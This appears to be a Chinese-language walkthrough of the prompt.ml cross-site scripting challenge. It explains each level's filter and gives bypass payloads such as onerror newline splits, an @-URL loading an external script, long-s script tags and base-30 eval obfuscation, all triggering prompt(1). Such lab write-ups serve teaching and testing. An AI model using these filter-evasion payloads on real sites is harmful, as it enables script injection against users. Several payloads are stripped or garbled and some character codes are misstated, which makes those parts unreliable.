这关没有任何的过滤,就直接闭合输出就行,但是后面多余的引号和尖括号需要注释掉。
a">
这一关过滤掉了以尖括号包裹着的所有字符,所以script这种标签就用不了了。所以可以尝试使用img标签。
这一关将这**“[”“(”**两个符号进行了过滤,所以就没有办法使用,可以使用反引号来代替括号。
这一关是将注释符号给过滤成了下划线,同样也是一个小技巧,也可以使用“–!>”来进行注释。
–!>
这一关必须以**http://prompt.ml/**为开头才可以进行输入,可以使用@符号来连接外部文档来进行绕过。注意的是,可能在写的过程中,/可能不会被识别,换成编码的形式就可以了。
http://prompt.ml%2f@localhost/test.js
test.js文件里面就写一个prompt(1)
就可以了。
这一关也是将>和以on开头,=结尾的字符给换成了=号,所以利用换行就可以了。
1"type="image"src=1 onerror
=“prompt(1)”
这个例子说了,要输入一个形状向** http://httpbin.org/post#{“name”:“Matt”}的语句,并且这个#号将这一串分成了一个数组。然后这个fromURL取这个数组的第0位,然后formdata取数组的第一位;也就是说,如果输入的是 http://httpbin.org/post#{“name”:“Matt”}那么数组0就是: http://httpbin.org/post**,数组1就是:{“name”:“Matt”}。然后创建了from元素,并且将URL给了fronaction,模式写为post;然后对fromData做了循环,然后创建了一个i,并且让input.name=i,这个i就是fromdata对象里的key值,也就是name,然后给value赋值为fromData的值,也就是Matt。以上这些步骤就相当于创建了一个from表单。然后就是查看你一个表单,并且使用action,也就是如果你这个表单里不包含script或者data的话,就输出,如果有的话,就返回下面那一句话。
但是正产情况下使用javascript:prompt(1)的时候,他是可以输出的,但是在这里,他没有办法绕过那个判断;可以使用action来盖住刚刚那个action,也就是如果action的值相同的时候,后一个会把前一个给覆盖掉。所以这一关就是使用后一个action将前一个action的特性给覆盖掉。
javascript:prompt(1)#{“action”:“aaaaa”}
这一个也给你举例了一个输出的格式形如dog#cat#bird#mouse…,并且这个对每一个p标签都进行了一个字符限制,不可以超过12个字符,这样就可以使用注释的方式,将多余的内容给注释掉,剩下的就可以拼凑成想要的样子。
"><\script>/#/prompt(/#/1)/#/
这里就相当于第一个注释符注释的是
“>
”>
">
这里的\r\n的意思是换到下一行的时候从开头开始输入。
然后这一关,将这个给过滤掉为空了。并且把
<,/ 和‘"’ 给过滤掉了。这就用到了js的一个只是点:直接输入u2028和u2029
javascript字符串允许直接输入字符,以及字符的转义形式。但是javascript中有5个字符规定了不能在字符串中直接使用,只能使用他们的转义形式
- u005c:反斜杠
- u000D:回车
- u0028:行分隔符
- u0029:段分隔符
- u000A:换行符
所以这个输入就是这样式的:
将下面的复制,粘贴到答案上就可以了。
这一关是将以<开头并且后面接字母的都变成了<后面接一个下划线,并且字母全部变为大写。那就不让<后面接字母,可以使用ſ转换为s。如果出不来,换个浏览器试试。
<ſcript src=“http://127.0.0.1/test.js”>ſcript>
这一关将prompt过滤成了alert,并配还把单引号给注释掉了,这就给我们使用了一个方便,也就是我们可以使用单引号将prompt给分开,反正单引号也会被省略。
pro’mpt(1)
这一关使用了一个小技巧,
"(prompt(1))in"使用这个可以进行弹窗。
这一关也是将单引号忽略了,然后将prompt转为了alert,但是不同的是,这是先过滤,在替换;这样就不可以了。
这里就可以使用一种函数,就是相当于将英文转换为十进制树数
eval(630038579…toString(30))(1)
parselnt:解析一个字符串并返回指定基数的十进制整数,并且进制数的范围是2-26.
但是我们在转换prompt的时候,在26之前是没有数的,显示的都是NAN,但是在26之后就有值了;这是因为他转换是由0-9+a-z组成的,而p是字母的第16位,然后加上前面的10个字符,就等于26,所以才从第26位开始,
这里可能不好理解,就好比十六进制,他的最大的字母F,f拍在第6位,加上前面那个就是16进制
为什么这里要写30进制,因为prompt最后一个字母是t,排在字母表的第20位置,加上前面的10个数就是30;如果使用小于30的数,就不包括了t,这样就不完整了。
这一关同样是给了输出格式,并且限制了p标签里的字符输入最大不超过15.并且他过滤掉了上一个使用的注释符号,但是可以使用注释方式,但是我使用和第7个处理方式一样的方法的时候,他没有成功,各中尝试之后,还是不成功,:
">
但是加一个